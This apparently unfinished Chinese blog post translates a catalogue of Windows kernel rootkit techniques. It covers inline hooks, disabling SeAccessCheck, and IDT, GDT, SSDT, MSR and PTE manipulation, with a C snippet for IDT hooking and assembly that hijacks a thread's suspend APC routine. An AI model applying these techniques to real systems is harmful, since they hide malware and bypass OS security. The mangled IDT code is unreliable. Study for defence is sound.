windows内核木马

    技术2022-05-20  61

    1Image Patches(映像补丁)

    修改内核模块比如ntoskrnl.exendis.sysntfs.sys等的代码段

    1.1、函数前导Hook

    Intel架构下,控制转移指令有三种,分别是2字节的寄存器操作,5字节的相对偏移操作和6字节的内存操作。当然,我们有两种方式来实现这种inline hook

    1)用Microsoftdetour

    2)用一个长度反汇编引擎,字节构建

    我自己实现过一个动态HOOK引擎,在我的即将推出的书<<网游外挂艺术大揭秘>>HOOK一节中有详细介绍。

    现在的xp sp2vista为动态HOOK提供了更方便的方式,函数的前导是两个字节的no-op操作指令,比如mov ediedi

    这样我们可以用一个两个字节的短相对jmp指令(0xEBXX)

    1.2、禁用SeAccessCheck

     Greg Hoglund首次提出禁用ntSecAccessCheck,这样就能绕过对象的访问检测。虽然,不能执行特权指令,但是,能够使非特权用户访问和修改系统进程。

    2Descriptor Tables(描述符表)

    x86架构下有很多表供处理器访问:内存管理的GDT,中断分发的IDT.

                               OS用的SSDT

    2.1 IDT

    中断来自硬件或INT软指令。IDT包含256个描述符,这些描述符关联着256中断向量。每个IDT描述符可能是三种gate(任务门、中断门、陷阱门)之一,每种门代表着中断发生的时候,该怎么转,转哪的问题。

    IDT的基地址和限长保存在idtr寄存器中,由lidt初始化。当前的idtr值可以由sidt读取。

    每个IDT描述符占8字节大小:

    dt>dt _KIDTENTRY

    +0x000 Offset                  :Uint2B //例程入口点的低16BIT

    +0x002 Selector              :Uint2B

    +0x004 Access                :Uint2B

    +0x006 ExtendedOffset :Uint2B  //例程入口点的高16BIT

     

    //IDT HOOK

    typedef struct _IDT{    USHORT Limit;    PIDT_DESCRIPTOR Descriptors;

    } IDT, *PIDT;

     

    static NTSTATUS HookIdtEntry(                         IN UCHAR DescriptorIndex,                         IN ULONG_PTR NewHandler,                        OUT PULONG_PTR OriginalH{                        PIDT_DESCRIPTOR Descriptor = NULL;                        IDT Idt;                        __asm sidt [Idt];                        Descriptor = &Idt.Descriptors[DescriptorIndex];                       *OriginalHandler =                      (ULONG_PTR)(Descriptor->OffsetLow + Descriptor->OffsetHigh << 16);

                          Descriptor->OffsetLow =

                           (USHORT)(NewHandler & 0xffff);

                           Descriptor->OffsetHigh =

                           (USHORT)((NewHandler  >> 16) & 0xffff);

                           __asm lidt [Idt]

     

                  return STATUS_SUCCESS;                 

    }

    当然,我们一可以构造整个IDT,然后用lidt来重置。

    2.2 GDT/LDT

    GDT/LDT存放段描述符,描述系统地址空间的一个view。当处理器将逻辑地址(Seg:Offset)转换为线性地址的时候,会用包含了BaseAddresslimitprivilege information etc的描述符。

    段寄存器CS,DS,ES存放了段选择子,段选择子通过offset定位到GDT/LDT中对应得段描述符。

    GDI/LDT中添加描述符,可以使ring3代码执行和访问ring0空间。

     

    2.3 SSDT

    SSDT由全局变量ntKeServiceDescriptoTable导出,windows支持动态注册新的系统调用ntKeAddSystemServiceTable

    SSDT(Native and GDT),SSDT HOOK比较简单,就不多说了。我也曾用HOOK虚表的方式,替换过整个ssdt,没问题,这样的话,可以全部监控SYSTEM CALL,这个技术我觉得在网络安全行为分析模型中应该用的到。

     

    2.4 Model -specific Registers

    跟处理器模型相关的特定寄存器,未来的处理器分支不一定支持。

    读写用rdmsrwrmsr

    2.4.1 IA32_SYSENTER_EIP

    Pentium II引入了支持用户态向内核态转换的强化机制,通过sysentersysexit两条指令实现。ring3要进ring0,执行sysenterring0要退回到ring3,执行sysexit

    IA32_SYSENTER_CS(0x174)处理器设置内核CS

    IA32_SYSENTER_EIP(0x176)切换之后,设置内核态要执行代码的入口

    IA32_SYSENTER_ESP(0x175)指向内核态的栈

    替换IA32_SYSENTER_EIP可以监控所有通过sysenter进入ring0的调用。

    缺点:不是所有处理器支持MSR

    kd> rdmsr 176msr[176] = 00000000‘804de6f0kd> u 00000000‘804de6f0nt!KiFastCallEntry:   //KiFastCallEntry这个符号内核未导出804de6f0 b923000000 mov ecx,23h

     

    2.4 Page Table Entries

    保护模式下,线性地址转物理地址。PDE/PTE中的user/supervisor位为0ring0才能访问;否则,ring0/ring3都能访问。修改这个标志位以访问内核代码

     

    2.5 函数指针

    IRQL提升时候,HOOK函数不能放在分页内存中。

    SharedUserData物理页同时映射到user mode(只读0x7ffe0000)kernel mode(读写0xffdf0000)。这里面可以保存少量的代码。

     

    native dllntdll.dll,映射到所有进程,包括system进程,通过ntPspMapSystemDll

     

    kd> !process 0 0 System

    PROCESS 81291660 SessionId: none Cid: 0004

    Peb: 00000000 ParentCid: 0000

    DirBase: 00039000 ObjectTable: e1000a68

    HandleCount: 256.

    Image: System

    kd> !process 81291660

    PROCESS 81291660 SessionId: none Cid: 0004

    Peb: 00000000 ParentCid: 0000

    DirBase: 00039000 ObjectTable: e1000a68

    HandleCount: 256.

    Image: System

    VadRoot 8128f288 Vads 4

    ...

    kd> !vad 8128f288

    VAD level start end commit

    ...

    81207d98 ( 1) 7c900 7c9af 5 Mapped Exe

    kd> dS poi(poi(81207d98+0x18)+0x24)+0x30

    e13591a8 "/WINDOWS/system32/ntdll.dll"

     

    2.5.1 KTHREAD’s SuspendApc

     

    kd> dt -r1 _KTHREAD 80558c20

    ...

    +0x16c SuspendApc : _KAPC

    +0x000 Type : 18

    +0x002 Size : 48

    +0x004 Spare0 : 0

    +0x008 Thread : 0x80558c20 _KTHREAD

    +0x00c ApcListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]

    +0x014 KernelRoutine : 0x804fa8a1 nt!KiSuspendNop

    +0x018 RundownRoutine : 0x805139ed nt!PopAttribNop

    +0x01c NormalRoutine : 0x804fa881 nt!KiSuspendThread

    +0x020 NormalContext : (null)

    +0x024 SystemArgument1: (null)

    +0x028 SystemArgument2: (null)

    +0x02c ApcStateIndex : 0 ’’

    +0x02d ApcMode : 0 ’’

    +0x02e Inserted : 0 ’’

     

    public _RkSetSuspendApcNormalRoutine@4

    _RkSetSuspendApcNormalRoutine@4 proc

    assume fs:nothing

    push edi

    push esi

    ; Grab the current thread pointer

    xor ecx, ecx

    inc ch

    mov esi, fs:[ecx+24h]

    ; Grab KTHREAD.InitialStack

    lea esi, [esi+18h]

    lodsd

    xchg esi, edi

    ; Find StackBase

    repne scasd

    ; Set KTHREAD->SuspendApc.NormalRoutine

    mov eax, [esp+0ch]

    xchg eax, [edi+1ch]

    pop esi

    pop edi

    ret

    _RkSetSuspendApcNormalRoutine@4 endp

     

    2.5.2 Object Type Initializers

    OBJECT_TYPEOBJECT TYPE INITIALIZER

    kd> dt nt!_OBJECT_TYPE_INITIALIZER

    ...

    +0x02c DumpProcedure : Ptr32 //对应对象打开时候调用

    +0x030 OpenProcedure : Ptr32

    +0x034 CloseProcedure : Ptr32

    +0x038 DeleteProcedure : Ptr32

    +0x03c ParseProcedure : Ptr32

    +0x040 SecurityProcedure : Ptr32

    +0x044 QueryNameProcedure : Ptr32

    +0x048 OkayToCloseProcedure : Ptr32

     

    还有好多,暂不译了

     


    最新回复(0)